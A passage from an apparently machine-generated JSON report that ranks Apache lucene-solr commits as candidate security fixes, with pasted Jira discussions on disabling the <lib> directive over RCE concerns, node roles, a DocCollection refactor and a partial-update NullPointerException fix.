https://gitbox.apache.org/repos/asf?p=solr.git;h=ff2efffd798 ] SOLR-17034 : Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020) Commit f33d102f254909492b6f5d5a2142dfea791a5a4a in lucene-solr's branch refs/heads/branch_8_11 from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=f33d102f254 ] SOLR-17034 : Hitting /solr// ends up with HttpSolrCall NPE when using Solr Cloud (#2020) Closing after the 8.11.3 release" + }, + "ghissue_refs": { + "2020": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java", + "relevance": 8 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-17034", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 2020", + "relevance": 2 + } + ] + }, + { + "commit_id": "9118b3f3d8a2b62258e68bbf1c904fbc0ee58b61", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1699289887, + "hunks": 5, + "message": "SOLR-16781: directive disabled by default", + "changed_files": [ + "solr/core/src/java/org/apache/solr/core/SolrConfig.java", + "solr/server/solr/configsets/_default/conf/solrconfig.xml", + "solr/solr-ref-guide/src/configsets-api.adoc", + "solr/solr-ref-guide/src/libs.adoc" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16781": " directives in solrconfig.xml used to be recommended way for including additional jar files to the classpath for a particular collection or collections. For context: This feature required complex handling of \"trusted\" vs \"non-trusted\" configsets in configset upload API to keep Solr secure (i.e. to stop RCE attacks for non-authentication enabled deployments). This security feature also broke down recently due to a bug in Schema designer ( SOLR-16777 ). Supported alternatives exist that are safer: user can add the jar files to Solr's classpath use packages to use custom jars per collection In the light of these, there's no need to continue to support the directive going forward. I propose to remove the directives handling and functionality through this issue. Remove directives from Solr If there should be a such a feature , it should be in solr.xml This is a duplicate of SOLR-6681 from 2014! Supported alternatives exist that are safer [... e.g.] use packages to use custom jars per collection Is the package manager ready to take on all of the usecases that our users previously leaned on for? I haven't followed package-manager development too closely, but my understanding was that it still had certain limitations that would make it hard to replace e.g. support for \"standalone\" Solr deployments ( SOLR-16152 ). This feature required complex handling of \"trusted\" vs \"non-trusted\" configsets in configset upload API to keep Solr secure (i.e. to stop RCE attacks for non-authentication enabled deployments) Is the thought then that this ticket would also deprecate or remove the trusted/untrusted distinction in 10? Or is that still relevant even if goes away? I think the trusted/untrusted construct is a key pain point. I'm not familiar enough with the other two features that seem to require it to know if we can eliminate that complexity but there might be a way to simplify handling that removes the need for trusted/untrusted in its case. Rather than getting rid of entirely, change it so that by default, it throws an error for anything outside the solr classpath. Then add a startup level configuration that adds directories to the legal locations for . This could be some combination of sysprops/environment or even something in the possible replacement for solr.in.sh contemplated by SOLR-7871 . We can debate if these locations can be recursive, and what to do (if anything) about symlinks. Thus we wind up with a two stage process: The folks who install solr define the playground The folks who interact with solr do whatever they are permitted to within that playground. Ideally in addition to throwing an error when the config set tries to load the upload process would also run this check on any files uploaded to fail fast and friendly for the user. This way would have the benefit that organizations can tune their installation to be as strict or permissive as they like. We should create good clear documentation explaining that allowing libraries to be loaded from a location to which untrusted (or less trusted) users can cause a file to be written (via solr or otherwise) makes it possible for those with config-edit to effectively install code. If they want to run with scissors, knowing the danger, let them, just don't make it the default. I'm not leaping on the solr.xml suggestion because some installs run with solr.xml in zookeeper, and configuring locations where solr can look for stuff seems like something that will be be determined by sysadmin folks at larger organizations who wouldn't want to be mucking around with solr.xml which contains a lot of esoteric search related stuff they might break. I could probably be sold on solr.xml also being a potential source, but if we have more than one location to configure this, precedence and/or merging behavior needs to be clear. PS: solr.xml loading from ZK is deprecated and gone in 10.0. But a config in solr.xml similar to solr.allowPaths makes sense. ${solr.allowPaths:} The default could be empty set, i.e. nothing allowed, and it would be up to users to define defaults. There could be a few special values: \"*\" means allow all, for quick back-compat etc. Or would it be enough to simply fail if any is outside the already defined solr.allowPaths (which defaults to $SOLR_HOME, $SOLR_DATA_HOME & coreRootDir? Added a patch for this (branch_8_11). Updated the patch, this is ready to commit. For the record: on ASF slack, janhoy and houstonputman expressed concerns regarding disabling directives by default. Hence, I'm not committing it right away, even though I think this is the right thing to do. No feature should be enabled by default that can be a security risk for RCEs etc. This holds up the 8.11.3 release, unfortunately. I wonder how we can start messaging to extension developers what they should be doing? A Plugin Guide? I'm thinking of all the installations of querqy that jsut use the lib dir... I'm definitely in favor of getting rid of the lib tag because there are better alternatives. \u00a0Let's do so for the next minor release like 9.5! \u00a0(flag to disable; remove altogether in main) No feature should be enabled by default that can be a security risk for RCEs etc That's a sweeping statement. \u00a0Many things can be a risk; Solr has tons of features and the vast majority of them are enabled by default, for better or worse. Take your pick... remember the XML query parser CVE? \u00a0Who would have thought. If I could block one thing by default to enhance Solr security, it'd be any sort of configuration editing, either at core level, or even ConfigSet upload. \u00a0Maybe that's not \"one thing\", it's a category, and I recognize the ConfigSet aspect isn't workable for most users (even though this is how I run Solr at work \u2013 immutable infrastructure). \u00a0Hello FileSystemConfigSetService! \u00a0Sorry; getting a bit off topic. I am for introducing solr.lib.directive.allowed property, and making it default to \"true\" in 8.x and 9.x, but with deprecation logging. Then in main (10.0) we default it to \"false\", and in 11.0 it is removed entirely. This of course requires proper communication, perhaps a blog post or two, etc. It would be a great way to educate users about modules, packages and shardedLib. I like the suggestion that janhoy provided. I'm going to remove this from \"Release Version\" 8.11.3, unless y'all are ready to merge this (with the option set to \"true\" by default). ichattopadhyaya What's the followup plan on this? Do you agree with the conservative plan proposed above Deprecate in 9.6 Enabled by default in 9.x (but with deprecation logging) Disabled by default in 10.x Removed from 11.0 We can remove in 10; no need to wait for 11. Agreed. Remove in 10. Possibly add an option to disable in 9 which is set to \"false\" by default. This option is not included in 10 obviously. Sure, there is still a few 9.x releases where users can start changing their habits. And any user upgrading to 10.0 will have a round of testing where she will have time to move libs to another location, or stay on 9.x a bit longer. Let's do it..." + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: This, Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/solr-ref-guide/src/configsets-api.adoc, solr/core/src/java/org/apache/solr/core/SolrConfig.java, solr/server/solr/configsets/_default/conf/solrconfig.xml, solr/solr-ref-guide/src/libs.adoc", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16781 contains some security-related terms: secure, security, rce", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: server", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16781", + "relevance": 2 + } + ] + }, + { + "commit_id": "002b3ce67bea7dfe114c3b7dfdceb00b8777363c", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698631273, + "hunks": 5, + "message": "Revert \"SOLR-15694, 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce.", + "changed_files": [ + "solr/core/src/java/org/apache/solr/cloud/ZkController.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome." + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: This", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: ZooKeeper, Solr, ACLs", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java", + "relevance": 8 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-15694", + "relevance": 2 + } + ] + }, + { + "commit_id": "a639d267fd395f8ed0f9b1d1e2fd4f852dc3eefd", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698551458, + "hunks": 107, + "message": "SOLR-16580: Avoid making copies of DocCollection for PRS updates", + "changed_files": [ + "solr/core/src/java/org/apache/solr/cloud/Overseer.java", + "solr/core/src/java/org/apache/solr/cloud/RefreshCollectionMessage.java", + "solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SnapshotClusterStateProvider.java", + "solr/core/src/java/org/apache/solr/cloud/overseer/ClusterStateMutator.java", + "solr/core/src/java/org/apache/solr/cloud/overseer/CollectionMutator.java", + "solr/core/src/java/org/apache/solr/cloud/overseer/ZkStateWriter.java", + "solr/core/src/java/org/apache/solr/handler/admin/ClusterStatus.java", + "solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java", + "solr/solrj/src/java/org/apache/solr/client/solrj/cloud/DistribStateManager.java", + "solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseHttpClusterStateProvider.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/ClusterState.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStatesOps.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/Replica.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/Slice.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16580": "When PRS entries are updated, a new DocCollection Object is created. We should avoid that and just do an in-place update Avoid making copies of DocCollection for PRS updates Commit e073ea5fa535d6add0d4d17ceb70c542d9f50bcc in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e073ea5fa53 ] SOLR-16580 : Avoid making copies of DocCollection for PRS updates (#1242) Commit c4f40233a718d60262ffc2610a02dfccdde7f641 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=c4f40233a71 ] SOLR-16580 : Avoid making copies of DocCollection for PRS updates (#1242) Closing after the 9.2.0 release Commit a639d267fd395f8ed0f9b1d1e2fd4f852dc3eefd in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=a639d267fd3 ] SOLR-16580 : Avoid making copies of DocCollection for PRS updates This is causing reproducible failures on branch_8_11, with PRS enabled or not enabled. ant test \u00a0-Dtestcase=CloudAuthStreamTest -Dtests.seed=F8952559841D5C83 -Dtests.multiplier=2 -Dtests.slow=true -Dtests.locale=sk -Dtests.timezone=Atlantic/Bermuda -Dtests.asserts=true -Dtests.file.encoding=UTF-8 I went through all of the commits on branch_8_11, and this is definitely the commit where the tests start failing. For some context, it looks like the issues are not with the authentication/authorization, however the delete-by-queries are not working properly. I think it might have something to do with the stateVersion of the collection, seeing as that's something that was modified by this JIRA. So if I change the shards to have 1 replica each, the errors go away. So there is something wrong with forwarding the delete by query to the leader or to the replicas. Honestly, this might be too extensive of a change for 8.11.3, since it wasn't a bug fix or a security patch. The easiest path forward could be reverting it. The reason this was added was because it was intertwined with other PRS changes. Fixing the other bugs without this is much harder So the most likely culprit here was the BaseHttpClusterStateProvider changed (IMO) but reverting that class didn't fix the errors, so we can rule it out" + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/admin/CollectionsHandler.java, solr/solrj/src/java/org/apache/solr/common/cloud/Slice.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseHttpClusterStateProvider.java, solr/solrj/src/java/org/apache/solr/common/cloud/DocCollection.java, solr/core/src/java/org/apache/solr/cloud/Overseer.java, solr/core/src/java/org/apache/solr/handler/admin/ClusterStatus.java, solr/core/src/java/org/apache/solr/cloud/overseer/ClusterStateMutator.java, solr/core/src/java/org/apache/solr/cloud/autoscaling/sim/SnapshotClusterStateProvider.java, solr/core/src/java/org/apache/solr/cloud/RefreshCollectionMessage.java, solr/core/src/java/org/apache/solr/cloud/overseer/ZkStateWriter.java, solr/core/src/java/org/apache/solr/cloud/overseer/CollectionMutator.java, solr/solrj/src/java/org/apache/solr/client/solrj/cloud/DistribStateManager.java, solr/solrj/src/java/org/apache/solr/common/cloud/ClusterState.java, solr/solrj/src/java/org/apache/solr/common/cloud/Replica.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStates.java, solr/solrj/src/java/org/apache/solr/common/cloud/PerReplicaStatesOps.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16580 contains some security-related terms: security", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: handler, read, provide", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16580", + "relevance": 2 + } + ] + }, + { + "commit_id": "78e618444690b9ddf285e416d8045a11dceb711b", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1706289694, + "hunks": 1, + "message": "SOLR-17120: handle null value when merging partials (backport of solr#2214) (#2683) * SOLR-17120 handle null value when merging partials - this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Co-authored-by: Calvin Smith ", + "changed_files": [ + "solr/core/src/java/org/apache/solr/update/UpdateLog.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-17120": "I mailed the solr-users mailing list about this issue, but didn't get any responses there, so am creating this issue. The subject of the email thread for additional context was \"NullPointerException in UpdateLog.applyOlderUpdates under solr 8&9 involving partial updates and high update load\" - link: https://lists.apache.org/thread/n9zm4gocl7cf073syy1159dy6ojjrywl I'm seeing a Solr HTTP 500 error when performing a partial update of a document that turns out to triggered by there having been a recent update of the same document that included a partial update that set a field to null . I've observed the behavior in versions 6.6.2, 8.11.2, and 9.4.0, which are the only 3 versions I've tried. To give an example, an update doc like { \"id\" : \"123\" , \"camera_unit\" : { \"set\" : null }\r\n} followed shortly thereafter (not sure of exact timing, but I was using a commitWithin of 600s and the subsequent updates were less than 20 seconds later), after some other updates had happened for different documents, there was another update of the same document, like { \"id\" : \"123\" , \"playlist\" : { \"set\" : [\r\n\u00a0 \u00a0 \u00a0 \u00a0 12345\r\n\u00a0 \u00a0 \u00a0 ]\r\n\u00a0 \u00a0 }, \"playlist_index_321\" : { \"set\" : 0\r\n\u00a0 \u00a0 }\r\n} This later update may, but doesn't always, cause the NullPointerException , so there is some other factor such as the state of the tlog that also has to be satisfied for the error to occur. The exception is thrown by the following code in UpdateLog.java ( org.apache.solr.update.UpdateLog ): /** Add all fields from olderDoc into newerDoc if not already present in newerDoc */ private void applyOlderUpdates(\r\n\u00a0 \u00a0 \u00a0 SolrDocumentBase newerDoc, SolrInputDocument olderDoc, Set< String > mergeFields) { for ( String fieldName : olderDoc.getFieldNames()) { // if the newerDoc has this field, then this field from olderDoc can be ignored if (!newerDoc.containsKey(fieldName)\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 && (mergeFields == null || mergeFields.contains(fieldName))) { for ( Object val : olderDoc.getFieldValues(fieldName)) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 newerDoc.addField(fieldName, val);\r\n\u00a0 \u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 }\r\n\u00a0 } The exception is due to the inner for statement trying to iterate over the null value being returned by olderDoc.getFieldValues(fieldName) . When I change that method to the following: /** Add all fields from olderDoc into newerDoc if not already present in newerDoc */ private void applyOlderUpdates(\r\n\u00a0 \u00a0 \u00a0 SolrDocumentBase newerDoc, SolrInputDocument olderDoc, Set< String > mergeFields) { for ( String fieldName : olderDoc.getFieldNames()) { // if the newerDoc has this field, then this field from olderDoc can be ignored if (!newerDoc.containsKey(fieldName)\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 && (mergeFields == null || mergeFields.contains(fieldName))) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 Collection< Object > values = olderDoc.getFieldValues(fieldName); if (values == null ) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 newerDoc.addField(fieldName, null );\r\n\u00a0 \u00a0 \u00a0 \u00a0 } else { for ( Object val : values) {\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 newerDoc.addField(fieldName, val);\r\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 \u00a0 }\r\n\u00a0 \u00a0 }\r\n\u00a0 } Then after rebuilding the solr-core JAR with ./gradlew devFull and restarting Solr with that custom jar file, I can no longer reproduce the error. I'm not familiar with the Solr codebase though and am not at all sure that newerDoc.addField(fieldName, null) is what should be done there. NullPointerException in UpdateLog.applyOlderUpdates in solr 6.6-9.4 involving partial updates Thanks casmith for the detailed report on the user mailing list and for proactively proceeding to open this issue! Here's some notes from how I'm reading/interpreting the issue and the code: You mentioned the stacktrace is 8.11.2 and we see the NPE at UpdateLog.java:962 i.e. https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/core/src/java/org/apache/solr/update/UpdateLog.java#L962 and if olderDoc was null then we'd have gotten a NPE at line 959 already and therefore olderDoc.getFieldValues(fieldName) must have returned null, as you mentioned. SolrInputDocument.getFieldValues will return null if the field is not set https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/solrj/src/java/org/apache/solr/common/SolrInputDocument.java#L121-L127 https://solr.apache.org/guide/solr/latest/indexing-guide/partial-document-updates.html#atomic-updates documents about setting to null to remove a value. You mention use of setting to null. Here's some nearby code also calling SolrInputDocument.getFieldValues https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/core/src/java/org/apache/solr/update/processor/AtomicUpdateDocumentMerger.java#L338-L339 https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/core/src/java/org/apache/solr/update/processor/CloneFieldUpdateProcessorFactory.java#L430-L431 Based on the analysis above I think newerDoc.addField(fieldName, null) would be incorrect i.e. newerDoc doesn't have the field and it's not supposed to get it, hence skipping for fieldName rather than adding of null e.g. - for ( Object val : olderDoc.getFieldValues(fieldName)) {\r\n+ Collection< Object > values = olderDoc.getFieldValues(fieldName);\r\n+ if (values == null ) continue ;\r\n+ for ( Object val : values) { Having said all that ... I'm not very familiar with the partial update functionality and what puzzles me slightly is that olderDoc.getFieldNames() returned the fieldName but then olderDoc.getFieldValues() returned no corresponding value ... though maybe that's something to do with multiple partial updates to the same document in succession and corresponding update log entries etc. etc. \u2013 would love to hear insights from others on this. Thanks Christine for noting on the mailing list that I created the issue and for the very helpful summary and analysis above. My reasoning for setting the field to null was that if the olderDoc for the first partial update doc that was added was { \"id\" : \"123\" , \"camera_unit\" : { \"set\" : null }\r\n} Then the null value reflects that it should be removed from the document (so that's why the name is returned by olderDoc.getFieldNames() ). The comment on the applyOlderUpdates method suggests that the purpose is to merge all the fields from the older doc to the newer one unless they're already present, so I thought that maybe the field that should be removed should also be merged in to the newer doc too, or else the fact that the field should be removed in the document that is ultimately saved might get lost. I don't know this code at all though, so it might be that the fields set to null in the older doc don't actually need to be merged in to the newer doc, like you suggested. I'll try with your change and see if I can confirm that the field is still removed like it's supposed to be, although it's a bit difficult to test because it's not reliably reproducible, and I'll have to catch it after it would have happened and before some other later update of the same document hasn't possibly set the field that was nulled to a non-null value, which may rely some luck. I compared the effect of if (values == null ) continue ; versus calling addField with null like I had, and I wasn't able to observe any different outcome. In both cases, the old field values that were requested to be removed by the earlier updates that included { \"set\" : null } were still processed successfully. Right after the update happened, but before the commitWithin window had passed, I would still see the old value when querying the /select endpoint, and using the{{ /get }}endpoint, I would not see the fields that were to have been removed, whether the later updates called addField with null or not. Once the commitWindow passed, then the /select endpoint correctly showed the documents had been updated as they should have been and the fields had been removed (and other expected changes were applied). So it seems that the newerDoc definitely doesn't need the null, and maybe it's not having any effect when it is present, as things seem to work the same in both cases as far as I can tell by inspecting the state of the documents in the index after it happens. I'll stick with the version Christine suggested that does continue while I'm testing. Thanks Calvin for testing and sharing your findings! Couple of thinking out alouds and curiosity if I may, again with the caveat that I'm not very familiar with the partial update functionality \u2013 about the puzzle of olderDoc.getFieldNames() returning the fieldName but then olderDoc.getFieldValues() returned no corresponding value(s) \u2013 wondering if the getFieldValues return value of null is due to the field being set to null somehow or the field not being set \u2013 ref: https://github.com/apache/lucene-solr/blob/releases/lucene-solr/8.11.2/solr/solrj/src/java/org/apache/solr/common/SolrInputDocument.java#L121-L127 (to the extent that you are able to share) what is the field schema/definition e.g. does type make a difference or if the field is required or if the field is defaulted or multiValued etc. about the sequence of events e.g. is it perhaps a case of a \"remove this field\" happening before there ever was an actual value for the field, or maybe there are two consecutive \"remove this field\" happenings, or variants on that theme in case of multiValued fields Context for my curiosity is sort of that if we understand more on how the name-but-no-value scenario arises then that could point to a different (complementary or alternative) code change and/or we might discover 'something else' also being unexpected. I can't share the full schema file or the docs unfortunately, and I'm a bit pressed for time at the moment, but here's what I was able to determine: - the 8 fields that the error occurs for in my most easily reproducible case are all single-valued (I only know it is 8 fields due to modifying the code to skip the null and print to stdout when the error would have happened); 7 of them are a 'lowercase' field type and the other is 'text_en_splitting_tight' (as those are defined in the default schema); I wouldn't read much into that though, as those are common field types in our schema - I was able to establish that all fields that the error would have happened for were not set in the doc version in the index (but this doesn't seem to matter, as I describe below), and all of them had a previous partial update in the same commitWithin window that set the field to null So, for example, if the original full doc in the index contained: { \"id\" : \"123\" , \"foo\" : \"bar\" ,\r\n\u00a0 \u00a0 ...\r\n} it did not contain a 'field1', 'field2', ..., 'field8'. Then there were multiple partial updates, one of which included: { \"id\" : \"123\" , \"foo\" : { \"set\" : \"baz\" }, \"field1\" : { \"set\" : null }, \"field2\" : { \"set\" : null },\r\n\u00a0 \u00a0 ... \"field8\" : { \"set\" : null }\r\n} and then after some other updates (of both doc \"123\", none of which set field1-field8), there was an update like: { \"id\" : \"123\" , \"differentfield1\" : { \"set\" : [\r\n\u00a0 \u00a0 \u00a0 \u00a0 348459\r\n\u00a0 \u00a0 \u00a0 ]\r\n\u00a0 \u00a0 }, \"differentfield2\" : { \"set\" : 2\r\n\u00a0 \u00a0 }\r\n} which does nothing with any of the field1-field8 , and the NullPointerException is thrown then because the older doc returns null for whichever of the field1-field8 is processed first. It doesn't appear to matter whether the document in the index originally has a value for field1-field8 or not though, as I was able to reproduce the problem with an identical stack trace even if all those fields had values originally. So to summarize, it doesn't matter if the field in the doc in the index originally has a value or not it happens when there was just 1 